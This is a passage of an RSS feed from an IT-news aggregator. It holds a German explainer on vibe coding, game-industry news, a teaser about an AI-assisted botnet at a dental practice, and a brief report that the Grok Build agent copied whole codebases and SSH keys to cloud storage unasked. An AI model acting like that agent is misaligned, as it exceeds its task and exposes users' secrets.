<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-ki-agent-botnet-c2-gemini.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-ki-agent-botnet-c2-gemini.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-ki-agent-botnet-c2-gemini-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-ki-agent-botnet-c2-gemini-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-ki-agent-botnet-c2-gemini-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-ki-agent-botnet-c2-gemini-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-ki-agent-botnet-c2-gemini-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Eine neue Fallanalyse zeigt, wie ein einzelner Angreifer Künstliche Intelligenz mit Gemini-CLI nutzt, um ein Botnet aus acht PCs einer Zahnarztpraxis zu steuern. Entscheidend ist nicht nur die Automatisierung einzelner Schritte, sondern die extrem kompakte C&amp;C-Architektur: Laut Analyse passen die kompletten Befehls- und Serverkomponenten in nur wenige Kilobytes, wodurch der Betrieb […]</p>
<div><a href="https://www.it-boltwise.de/ki-gestuetzter-botnet-betrieb-gemini-cli-liefert-angreifern-ein-portables-cc-baukasten-modell.html">... den vollständigen Artikel <strong>»KI-gestützter Botnet-Betrieb: Gemini-CLI liefert Angreifern ein portables C&amp;C-„Baukasten“-Modell«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/ki-gestuetzter-botnet-betrieb-gemini-cli-liefert-angreifern-ein-portables-cc-baukasten-modell.html">KI-gestützter Botnet-Betrieb: Gemini-CLI liefert Angreifern ein portables C&amp;C-„Baukasten“-Modell</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[What’s going wrong with this Kotlin code?]]></title>
<description><![CDATA[Author: Google for Developers - Bewertung: 1x - Views:13 Devs, this Kotlin challenge arises from a refactoring bug you might have seen. Here’s the setup: a teammate tidies up some code that builds job configurations. The build succeeds and everything looks fine. Then we check the list, and instea...]]></description>
<link>https://tsecurity.de/de/3681244/videos/whats-going-wrong-with-this-kotlin-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681244/videos/whats-going-wrong-with-this-kotlin-code/</guid>
<pubDate>Mon, 20 Jul 2026 15:18:19 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Google for Developers - Bewertung: 1x - Views:13 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/AaWdVp_py4Y?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Devs, this Kotlin challenge arises from a refactoring bug you might have seen. Here’s the setup: a teammate tidies up some code that builds job configurations. The build succeeds and everything looks fine. Then we check the list, and instead of the config object we expect, it holds something else. Watch the video and share what you think caused the bug!<br />
<br />
Subscribe to Google for Developers → https://goo.gle/developers <br />
<br />
Speakers: Anaya Mehta<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Vibe Coding erklärt]]></title>
<description><![CDATA[Vibe Coding verspricht viele KI-getriebene Vorteile, macht Softwareentwickler jedoch nicht überflüssig – eher im Gegenteil.Fit Ztudio | shutterstock.com



Im Dev-Umfeld verschwimmt die Grenze zwischen Programmieren und Prompten schon seit einigen Jahren. Auf die Spitze getrieben wird diese Entwi...]]></description>
<link>https://tsecurity.de/de/3680298/it-security-nachrichten/vibe-coding-erklaert/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680298/it-security-nachrichten/vibe-coding-erklaert/</guid>
<pubDate>Mon, 20 Jul 2026 07:54:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/11/Fit-Ztudio_shutterstock_2642655115_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Code Review Dev 16z9" class="wp-image-4086782" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Vibe Coding verspricht viele KI-getriebene Vorteile, macht Softwareentwickler jedoch nicht überflüssig – eher im Gegenteil.</figcaption></figure><p class="imageCredit">Fit Ztudio | shutterstock.com</p></div>



<p class="wp-block-paragraph">Im Dev-Umfeld verschwimmt die Grenze zwischen Programmieren und Prompten schon seit einigen Jahren. Auf die Spitze getrieben wird diese Entwicklung vom <a href="https://www.computerwoche.de/article/3854442/vibe-coding-im-selbstversuch.html" target="_blank">Vibe-Coding-Trend</a>: Frühe KI-Entwickler-Tools wie GitHub Copilot waren vornehmlich darauf ausgelegt, Devs zu unterstützen. Etwa, indem sie Funktionen und Syntax ergänzten oder Boilerplate-Code aus Kommentaren generierten. Kommt ein Vibe-Coding-Ansatz zum Zug, beginnen <a href="https://www.computerwoche.de/article/2818958/was-developer-an-ihrem-job-lieben-und-hassen.html" target="_blank">menschliche Entwickler</a> hingegen gar nicht erst damit, Code zu schreiben.</p>



<p class="wp-block-paragraph">Dieses Konzept führt nicht nur zu veränderten Workflows, sondern erfordert auch, ein neues Mindset. Schließlich wird die Programmierarbeit mit <a href="https://www.computerwoche.de/article/4052859/github-spark-im-vibe-coding-test.html" target="_blank">Vibe Coding</a> eher zu einer Art Live-Prototyping. In diesem Artikel lesen Sie:</p>



<ul class="wp-block-list">
<li>warum Vibe Coding Vibe Coding heißt,</li>



<li>inwieweit sich dieser Ansatz für Unternehmen eignet,</li>



<li>wie Vibe-Coding-Workflows konkret aussehen (können),</li>



<li>welche Tools in diesem Bereich zu empfehlen sind,</li>



<li>welche Risiken Sie dabei auf dem Schirm haben sollten, sowie</li>



<li>Tipps dazu, wie Sie Vibe Coding effektiv in der Praxis umsetzen.</li>
</ul>



<h2 class="wp-block-heading">Vibe Coding – Begriffsdefinition</h2>



<p class="wp-block-paragraph">Der Begriff Vibe Coding wurde Anfang 2025 vom OpenAI-Mitbegründer <a href="https://www.linkedin.com/in/andrej-karpathy-9a650716/" target="_blank" rel="noreferrer noopener">Andrej Karpathy</a> geprägt. Der KI-Experte trat den Trend mit einem Post auf dem Kurznachrichtendienst X los.</p>



<figure class="wp-block-embed is-type-rich is-provider-x wp-block-embed-x"><div class="wp-block-embed__wrapper youtube-video">
<blockquote class="twitter-tweet" data-width="500" data-dnt="true"><p lang="en" dir="ltr">There's a new kind of coding I call "vibe coding", where you fully give in to the vibes, embrace exponentials, and forget that the code even exists. It's possible because the LLMs (e.g. Cursor Composer w Sonnet) are getting too good. Also I just talk to Composer with SuperWhisper…</p>— Andrej Karpathy (@karpathy) <a href="https://x.com/karpathy/status/1886192184808149383?ref_src=twsrc%5Etfw">February 2, 2025</a></blockquote>
</div></figure>



<p class="wp-block-paragraph">In diesem beschreibt Karpathy die Vibe-Coding-Methodik als eine neue Coding-Form, bei der man sich ganz den “Vibes” hingibt und vergisst, dass der Code überhaupt existiert. <a href="https://shadowdragon.io/author/amy-mshadowdragon-io/" target="_blank" rel="noreferrer noopener">Amy Mortlock</a>, Vice President of Marketing beim <a href="https://www.computerwoche.de/article/2795282/wie-viel-wissen-hacker-ueber-sie.html" target="_blank">OSINT</a>-Spezialisten ShadowDragon, erklärt das Konzept etwas weniger kryptisch: “Beim Vibe Coding beschreibt man in natürlicher Sprache, was man möchte, und die KI generiert dann die gesamte Anwendung und kümmert sich um alle technischen Details.”</p>



<p class="wp-block-paragraph">Vibe Coding setzt also darauf, die traditionelle Programmierarbeit durch dialogorientierte Anweisungen und <a href="https://www.computerwoche.de/article/4026379/ki-jobs-diese-skills-brauchen-entwickler.html" target="_blank">Kooperation mit einem KI-Assistenten</a> zu ersetzen. Statt detaillierte Spezifikationen zu entwerfen und diese an die Engineers weiterzugeben, können Produktmanager, Fachexperten – oder jeder andere, der eine Idee hat – in einfacher Sprache beschreiben, wie das Ergebnis aussehen soll. Die KI-Software erledigt dem Rest in Echtzeit. Allerdings geht es dabei weniger darum, die Softwareentwicklung durchgängig zu automatisieren.</p>



<p class="wp-block-paragraph">Vielmehr stehen Mindset-Veränderungen im Fokus: Warum sollte man nicht der KI die Mechanik überlassen und sich stattdessen auf die Ausrichtung, das Feedback, den Flow und die “Vibes” konzentrieren? Schließlich werden die Modelle, die Tools wie <a href="https://www.infoworld.com/article/4081431/cursor-2-0-adds-coding-model-ui-for-parallel-agents.html" target="_blank">Cursor</a> oder GitHub Copilot zugrunde liegen, immer performanter. Deswegen sehen auch viele Developer ihre Arbeit inzwischen vorwiegend als einen Dialog mit der KI – statt sich zeilenweise selbst durch Syntax zu wühlen.</p>



<p class="wp-block-paragraph">Und obwohl auch bei einem Vibe-Coding-Ansatz diverse <a href="https://www.computerwoche.de/article/4034385/9-wege-mit-vibe-coding-zu-scheitern.html" target="_blank">Probleme und Herausforderungen</a> auf den Plan treten können (dazu später mehr): Die Technik gewinnt zunehmend an Popularität – auch im Unternehmensumfeld.</p>



<h2 class="wp-block-heading">Vibe Coding im Unternehmen</h2>



<p class="wp-block-paragraph">Wie das in der Praxis konkret aussieht, beschreibt <a href="https://www.linkedin.com/in/charlesjiama/" target="_blank" rel="noreferrer noopener">Charles Ma</a>, Softwareentwickler beim Observability-Spezialisten Chronosphere: “Viele unserer Entwickler nutzen Tools wie Cursor und <a href="https://www.computerwoche.de/article/4182911/claude-code-hat-ein-sicherheitsproblem.html" target="_blank">Claude Code</a>. Wir fördern deren Einsatz sogar über ein Nutzungs-Leaderboard. Dabei betrachten wir die Tools jedoch als Assistenten, nicht als Dev-Ersatz. Unser Code-Review-Prozess ist weiterhin Pflicht für jeden Produktionscode – und wir sehen eher davon ab, viele unserer oder gar externe Tools mit KI zu verbinden.”</p>



<p class="wp-block-paragraph">In der Perspektive von <a href="https://www.linkedin.com/in/achint-agarwal-a853241" target="_blank" rel="noreferrer noopener">Achint Agarwal</a>, Vice President of Product beim KI-Anbieter Pramata, hat Vibe Coding vor allem die Art und Weise verändert, wie Teams vom Konzept zum Prototyp gelangen: “Früher mussten UI/UX-Designer und Entwickler zusammenarbeiten, um eine Idee in etwas zu verwandeln, mit dem Kunden interagieren konnten. Dieser Prozess konnte leicht mehrere Wochen dauern und diverse Überarbeitungsrunden umfassen.”</p>



<p class="wp-block-paragraph">Heute, so Agarwal, könne ein Produktmanager oder Fachexperte einfach in <a href="https://www.computerwoche.de/article/2799474/was-ist-natural-language-processing.html" target="_blank">natürlicher Sprache</a> formulieren, was er sich vorstellt, und die KI generiere funktionierenden Code in <a href="https://www.computerwoche.de/article/2785190/prototyping-hilft-bei-der-softwareentwicklung.html" target="_blank">Prototyp-Qualität</a>. “Bei dieser Veränderung geht es um mehr als nur Geschwindigkeit: Auch die Qualität der Ergebnisse ist besser, weil die Person, die den Anforderungen am nächsten steht, während des gesamten Prozesses die Kontrolle behält und es keine Reibungsverluste durch Übergaben gibt”, fügt der Manager hinzu.</p>



<p class="wp-block-paragraph">Auch Agarwal sieht in Vibe Coding kein Substitut für die traditionelle <a href="https://www.computerwoche.de/article/4016035/6-trends-wie-ki-die-softwareentwicklung-verandert.html" target="_blank">Softwareentwicklung</a>, sondern vor allem ein Explorations- und Validierungs-Tool: “Dev-Teams ist es damit möglich, in kurzer Zeit funktionierende Prototypen zu erstellen, diese mit Kunden zu testen und zu überprüfen, ob die Idee sinnvoll ist. Fällt diese Prüfung positiv aus, kann der Prototyp an die Engineers gehen, die ihn mit Blick auf Skalierbarkeit, Sicherheit und langfristige Integrationen weiter ausbauen.”</p>



<h2 class="wp-block-heading">Wie sieht ein Vibe-Coding-Workflow aus?</h2>



<p class="wp-block-paragraph">Es gibt keine allgemeingültige Blaupause für Vibe Coding. Entsprechend gehen auch die Ansichten darüber auseinander, wie ein typischer Vibe-Coding-Workflow aussieht. <a href="https://www.linkedin.com/in/kostaspardalis/" target="_blank" rel="noreferrer noopener">Kostas Pardalis</a>, Data Infrastructure Engineer beim KI-Lösungsanbieter Typedef, beschreibt diesen als agilen, vierstufigen Prozess:</p>



<ul class="wp-block-list">
<li>die <strong>Erkundungsphase</strong>, in der der “Vibe”, der Zweck und die Einschränkungen definiert werden.</li>



<li>die <strong>Gestaltungsphase</strong>, in der ein funktionierender Prototyp erstellt und verfeinert wird.</li>



<li>die <strong>Grounding-Phase</strong>, die genutzt wird, um Struktur und Datenintegrität hinzuzufügen.</li>



<li>die <strong>Operationalisierungsphase</strong>, in der Versionierung, Evaluierung und Governance hinzukommen.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/steve-croce-1060082/" target="_blank" rel="noreferrer noopener">Steve Croce</a>, Field CTO beim Open-Source-Unternehmen Anaconda, steht hingegen auf dem Standpunkt, dass der Vibe-Coding-Workflow davon abhängig ist, ob ein Prototyp, eine Zwischenlösung oder eine vollständige Produktionsapplikation entwickelt werden soll. Basierend darauf, orientiert sich der Vibe-Coding-Workflow in der Vision des Technologieentscheiders eher am traditionellen Software Development Lifecycle – fußt jedoch ebenfalls auf vier Stufen:</p>



<ul class="wp-block-list">
<li>In der Phase der <strong>Planungs- und Anforderungsanalyse</strong> könnten Produktmanager und UX-Teams demnach voll und ganz auf Vibe Coding setzen und so vor der formellen Entwicklung klickbare Prototypen und Machbarkeitstests erstellen.</li>



<li>Im Rahmen der<strong> Design-Phase </strong>kann KI laut Croce dabei unterstützen, Architekturen und <a href="https://www.computerwoche.de/a/4077044" target="_blank">Dokumentationen zu erstellen</a>. Der Manager weist allerdings darauf hin, dass es in dieser Phase auch hilfreich sein könne, erfahrene Engineers oder Architekten hinzuziehen, um die Einhaltung von Standards und die Reusability interner Systeme zu gewährleisten.</li>



<li>Als Kernbereich der Vibe-Coding-Experience sieht Croce die<strong> Implementierungs- und Testphase:</strong> Ein KI-Agent könne an dieser Stelle die gesamte Anwendung erstellen und darüber hinaus auch Repositories strukturieren und <a href="https://www.computerwoche.de/article/2804460/installationen-und-funktionstests-automatisieren.html" target="_blank">Tests durchführen</a>. Der Experte rät Unternehmens-Teams jedoch mit Blick auf die Testabdeckung und Konformitätsprüfungen auch in dieser Phase dazu, menschliche Profis hinzuzuziehen.</li>



<li>In der <strong>Bereitstellungs- und Wartungsphase </strong>könne KI laut dem CTO dazu genutzt werden, Apps bereitzustellen und zu warten. Dieser Part könne jedoch auch vollständig außerhalb der Vibe-Coding-Erfahrung abgewickelt werden, um den Unternehmensanforderungen zu entsprechen, so Croce.</li>
</ul>



<h2 class="wp-block-heading">Empfehlenswerte Vibe-Coding-Tools</h2>



<p class="wp-block-paragraph">Vibe-Coding-Tools decken ein breites Spektrum ab: Vom leicht zugänglichen, dialogorientierten Builder für nicht-technische Teams, bis hin zu integrierten Entwicklungsumgebungen (<a href="https://www.computerwoche.de/article/2827615/4-entwicklungsumgebungen-fuer-pythonistas.html" target="_blank">IDEs</a>), die Engineers umfassende Kontrollmöglichkeiten bieten und zuverlässige Anwendungen gewährleisten. Die Wahl des richtigen Tools hängt von den Fähigkeiten des Teams, dem Projektziel und dem benötigten Maß an Governance ab.</p>



<p class="wp-block-paragraph">Eine kleine Auswahl empfehlenswerter Tools für Vibe-Coding-Zwecke:</p>



<ul class="wp-block-list">
<li><a href="https://cursor.com/" target="_blank" rel="noreferrer noopener"><strong>Cursor</strong></a> ist eine KI-integrierte IDE, mit der sich mehrere Dateien bearbeiten lassen.</li>



<li><a href="https://replit.com/" target="_blank" rel="noreferrer noopener"><strong>Replit</strong></a> ist eine gute Wahl für Browser-basierte Entwicklungsarbeit.</li>



<li><a href="https://bolt.new/" target="_blank" rel="noreferrer noopener"><strong>Bolt</strong> </a>und <a href="https://lovable.dev/" target="_blank" rel="noreferrer noopener"><strong>Lovable</strong></a> sind Builder, eignen sich vor allem für schnelles Brainstorming und zeichnen sich durch überschaubaren technischen Aufwand aus. Diese Tools sind daher auch für Einsteiger geeignet.</li>



<li><a href="https://windsurf.com/" target="_blank" rel="noreferrer noopener"><strong>Windsurf</strong></a> und <a href="https://zed.dev/" target="_blank" rel="noreferrer noopener"><strong>Zed</strong></a> sind vollständige IDEs, die darauf ausgelegt sind, Vibe-Coding-Funktionen in traditionelle Dev-Umgebungen zu integrieren.</li>
</ul>



<h2 class="wp-block-heading">Diese Risiken birgt Vibe Coding</h2>



<p class="wp-block-paragraph">Trotz der genannten Vorteile birgt der Vibe-Coding-Ansatz auch diverse Risiken mit Blick auf die Wartbarkeit und Anfälligkeit der generierten Logik. So warnt etwa ShadowDragon-Managerin Mortlock: “<a href="https://www.computerwoche.de/article/4155663/6-wege-uber-ki-gehackt-zu-werden.html" target="_blank">Sicherheitslücken</a> und <a href="https://www.computerwoche.de/article/3980660/technische-schulden-als-billige-ausrede.html" target="_blank">technische Schulden</a> sind die Hauptprobleme in Zusammenhang mit Vibe Coding. KI kann manchmal unsichere Pattern oder auch veraltete Bibliotheken einbinden.”</p>



<p class="wp-block-paragraph">Zudem sei KI-generierter Code in den meisten Fällen auch länger, was das Debugging langwierig und mühsam gestalten könne, erklärt Mortlock. Sie fügt hinzu: “KI verweist unter Umständen auch auf nicht existierende Packages, was auch böswillige Akteure ausnutzen könnten. Was wie funktionierender Code aussieht, kann versteckte Fallen bergen.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/charlesjiama/" target="_blank" rel="noreferrer noopener">Charles Ma</a>, Software Engineer beim Observability-Spezialisten Chronosphere, sieht ein weiteres Problem, das die Angriffsfläche potenziell vergrößert: “Selbst erfahrene Engineers können selbstzufrieden werden und dann Probleme übersehen, die ihnen sonst nicht entgangen wären. Sobald KI-Tools mit externen Systemen verbunden sind oder Websuchen durchführen, besteht außerdem das Risiko von Prompt Injections und Toolchain-Exploits.”</p>



<p class="wp-block-paragraph">Infrastruktur-Profi Pardalis fokussiert mit Blick auf die Risiken von Vibe Coding vor allem die Bereiche Volatilität und Sichtbarkeit: Weil dieser Ansatz für schnelle Iterationen und Modellautonomie förderlich sei, bestünden die Hauptrisiken in unkontrollierter Variabilität und undurchsichtigen Quellen. Um diese Probleme zu bekämpfen, appelliert Pardalis für:</p>



<ul class="wp-block-list">
<li><strong>Lineage Tracking</strong>: Jede Version wird committet und verwendet Frameworks mit integrierter Traceability.</li>



<li><strong>Evaluierungsschleifen</strong>: Qualitäts- und Regressionsprüfungen werden automatisiert durchgeführt.</li>



<li><strong>Governance-Layer</strong>: Prompt-Historien werden auditiert und sensible Daten gefiltert.</li>
</ul>



<p class="wp-block-paragraph">Der Engineering-Profi ist der Ansicht, dass eine expressive, modellgesteuerte Softwareentwicklung und eine deterministische Infrastruktur unter disziplinierten Rahmenbedingungen koexistieren können: “Letztendlich verspricht Vibe Coding kein Chaos, sondern strukturierte Kreativität. Sie entwickeln Ideen schnell, setzen sie aber sicher um. Mit anderen Worten: Freiheit am Anfang, Disziplin im weiteren Verlauf – so kann Vibe Coding tatsächlich in Produktionsumgebungen skaliert werden.”</p>



<h2 class="wp-block-heading">6 Tipps für effektives Vibe Coding</h2>



<p class="wp-block-paragraph">Da Sie nun umfassend über alle Aspekte des Vibe-Coding-Ansatzes informiert sind, geben wir Ihnen abschließend noch ein paar Tipps an die Hand, um Ihre eigene Initiative erfolgreich umzusetzen. Diese haben wir aus unseren Gesprächen mit den im Artikel zitierten Spezialisten zum Thema extrahiert</p>



<ul class="wp-block-list">
<li><strong>Beginnen Sie mit Zielen, nicht mit Funktionen:</strong> Beschreiben Sie zunächst die gewünschte <a href="https://www.computerwoche.de/article/2834420/der-niedergang-des-user-interface.html" target="_blank">User Experience</a> und die wesentlichen Geschäftsprobleme, die mit der Initiative gelöst werden sollen. Dabei müssen Sie es nicht übertreiben und jeden Button oder Screen definieren – für relevante Lösungen ist es entscheidend, der KI so genau wie möglich zu beschreiben, was erreicht werden soll.</li>



<li><strong>Planen Sie voraus:</strong> Vibe Coding ist nicht in der Lage, eine gute Architektur zu ersetzen. Bevor Sie KI hinzuziehen, sollten Sie deshalb sicherstellen, dass Design und Spezifikationen stimmen. Das erleichtert es der KI, “Intent” in kohärente Systeme zu übersetzen.  </li>



<li><strong>Verstehen Sie KI als Partner: </strong>Es gilt, mit Vibe-Coding-Tools zu kollaborieren. Diese Werkzeuge brauchen Anleitung und ihre Ergebnisse müssen überprüft werden. Blindes Vertrauen kann an dieser Stelle<a href="https://www.computerwoche.de/article/3829267/so-bleibt-ihr-code-halluzinationsfrei.html" target="_blank"> kontraproduktiv sein</a>. Sie sollten deshalb nicht zögern, die KI-generierte Logik in Frage zu stellen.</li>



<li><strong>Nutzen Sie Frameworks, Kontext und Beispiele:</strong> Etablierte Frameworks zu nutzen, erspart es Ihnen alles von Grund auf neu zu entwickeln. Die KI mit Beispielanwendungen zu füttern oder (<a href="https://www.computerwoche.de/article/4143599/mcp-server-5-tipps-fur-die-praxis.html" target="_blank">vertrauenswürdige</a>) MCP-Server hinzuzuziehen, um Kontext in größeren Projekten zu managen, kann ihre Fähigkeiten erweitern.  </li>



<li><strong>Halten Sie Menschen – und Security – im Loop:</strong> Setzen Sie auch bei Vibe- respektive KI-Coding-Tools auf das Least-Privilege-Prinzip – und Review-Prozesse. Engineering Best Practices anzuwenden, empfiehlt sich ebenfalls: Generieren Sie Tests, verifizieren Sie Funktionalitäten. Und betrachten Sie die Tools als Kreativitäts- und Produktivitäts-Support. Nicht als Substitut für <a href="https://www.computerwoche.de/article/2834999/3-dinge-die-senior-developer-auszeichnen.html" target="_blank">Skills und Knowhow</a>.</li>



<li><strong>Iterieren und verfeinern Sie: </strong>Nehmen Sie mit Blick auf Vibe Coding Abstand vom Streben nach Perfektion (auch wenn es Ihnen <a href="https://www.computerwoche.de/article/4048410/was-junior-entwickler-von-the-bear-lernen-konnen.html" target="_blank">widerstrebt</a>) und finden Sie sich möglichst frühzeitig mit unvollkommenen Ergebnissen ab. Tracken Sie Prompts, cachen Sie Checkpoints und verfeinern Sie die Ergebnisse – solange, bis der “Flow” zu einer zuverlässigen Funktionalität wird.</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Bethesda confirms 'Fallout 5' and 'The Elder Scrolls VI' are built on new Creation Engine 3 — Todd Howard explains the goal to give more power to devs and creators]]></title>
<description><![CDATA[We spoke to Todd Howard about the power of Creation Engine 3, and how Roblox has validated Bethesda's focus on independent creators.]]></description>
<link>https://tsecurity.de/de/3679518/windows-tipps/bethesda-confirms-fallout-5-and-the-elder-scrolls-vi-are-built-on-new-creation-engine-3-todd-howard-explains-the-goal-to-give-more-power-to-devs-and-creators/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679518/windows-tipps/bethesda-confirms-fallout-5-and-the-elder-scrolls-vi-are-built-on-new-creation-engine-3-todd-howard-explains-the-goal-to-give-more-power-to-devs-and-creators/</guid>
<pubDate>Sun, 19 Jul 2026 15:22:44 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We spoke to Todd Howard about the power of Creation Engine 3, and how Roblox has validated Bethesda's focus on independent creators.]]></content:encoded>
</item>
<item>
<title><![CDATA[Union Fights Microsoft Over Layoffs at Game Studios]]></title>
<description><![CDATA[Thursday the union that helped organize thousands of workers across numerous Microsoft-owned video game studios filed unfair labor complaints against Microsoft over the layoffs of 1,600 employees. The gaming news site Aftermath says the complaints allege unlawful action:


"Xbox management is req...]]></description>
<link>https://tsecurity.de/de/3678232/it-security-nachrichten/union-fights-microsoft-over-layoffs-at-game-studios/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678232/it-security-nachrichten/union-fights-microsoft-over-layoffs-at-game-studios/</guid>
<pubDate>Sat, 18 Jul 2026 18:40:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Thursday the union that helped organize thousands of workers across numerous Microsoft-owned video game studios filed unfair labor complaints against Microsoft over the layoffs of 1,600 employees. The gaming news site Aftermath says the complaints allege unlawful action:


"Xbox management is required to bargain with the union over the decision of layoffs prior to implementing them during the status quo period, and we are pursuing every available avenue to protect our members," a Communications Workers of America spokesperson said in a statement to Aftermath... Speaking to Game Developer, CWA Canada president Carmel Smyth elaborated on the unions' misgivings... "Basically the employer cannot arbitrarily change working conditions while it is engaged in negotiating with the union. We will continue to file legal challenges if necessary, and do all we can to defend the rights of Bethesda Game Studios workers...." 

"I'm very proud of the hard work the bargaining committees and CWA staff have put in to evaluate the legality of how the layoffs were conducted," a current id Software employee and union member told Aftermath. "It's important, even for the world's largest and most profitable companies, that there are consequences for violating federal labor law. If we hadn't explored this avenue to hold Microsoft accountable, it would be a sign to all other game executives that they can break the law and get away with it." 

Legal action is just one part of unions' larger effort to hold Microsoft accountable for its decision to lay off thousands of workers. This week, CWA also hosted a series of "Save Our Devs" demonstrations outside the offices of affected studios like Zenimax, id Software, Bethesda, and Obsidian.

<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Union+Fights+Microsoft+Over+Layoffs+at+Game+Studios%3A+https%3A%2F%2Fgames.slashdot.org%2Fstory%2F26%2F07%2F18%2F0723247%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fgames.slashdot.org%2Fstory%2F26%2F07%2F18%2F0723247%2Funion-fights-microsoft-over-layoffs-at-game-studios%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://games.slashdot.org/story/26/07/18/0723247/union-fights-microsoft-over-layoffs-at-game-studios?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Bandwagon is a 'survivors-lite adventure' that sounds wonderful from the Dome Keeper devs]]></title>
<description><![CDATA[Bandwagon is a bullet heaven survivors-lite (that's a new one?) that takes the genre in a fun new direction with music and you restoring joy to the world.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3675669/linux-tipps/bandwagon-is-a-survivors-lite-adventure-that-sounds-wonderful-from-the-dome-keeper-devs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675669/linux-tipps/bandwagon-is-a-survivors-lite-adventure-that-sounds-wonderful-from-the-dome-keeper-devs/</guid>
<pubDate>Fri, 17 Jul 2026 11:57:43 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Bandwagon is a bullet heaven survivors-lite (that's a new one?) that takes the genre in a fun new direction with music and you restoring joy to the world.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/1444941906id29406gol.webp" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/07/bandwagon-is-a-survivors-lite-adventure-that-sounds-wonderful-from-the-dome-keeper-devs/">GamingOnLinux</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Elon Musks KI: Grok Build hat ungefragt ganze Codebasen auf Cloudspeicher kopiert]]></title>
<description><![CDATA[Statt nur Kilobytes an Code für Prompts zu nutzen, hat die KI Gigabytes an Repos, SSH-Schlüsseln und mehr auf Cloudspeicher abgelegt. (KI, Git)]]></description>
<link>https://tsecurity.de/de/3670097/it-nachrichten/elon-musks-ki-grok-build-hat-ungefragt-ganze-codebasen-auf-cloudspeicher-kopiert/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670097/it-nachrichten/elon-musks-ki-grok-build-hat-ungefragt-ganze-codebasen-auf-cloudspeicher-kopiert/</guid>
<pubDate>Wed, 15 Jul 2026 11:03:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Statt nur Kilobytes an Code für Prompts zu nutzen, hat die KI Gigabytes an Repos, SSH-Schlüsseln und mehr auf Cloudspeicher abgelegt. (<a href="https://www.golem.de/specials/ki/">KI</a>, <a href="https://www.golem.de/specials/git/">Git</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=210883&amp;page=1&amp;ts=1784105461" alt="" width="1" height="1">]]></content:encoded>
</item>
<item>
<title><![CDATA["We are expanding opportunities to collaborate": Former Xbox studio Compulsion Games hopes to team up with other devs following layoffs and divestment]]></title>
<description><![CDATA[After suffering layoffs and divestment from Microsoft and Xbox, Compulsion Games wants to collaborate with other studios in the gaming industry.]]></description>
<link>https://tsecurity.de/de/3666265/windows-tipps/we-are-expanding-opportunities-to-collaborate-former-xbox-studio-compulsion-games-hopes-to-team-up-with-other-devs-following-layoffs-and-divestment/</link>
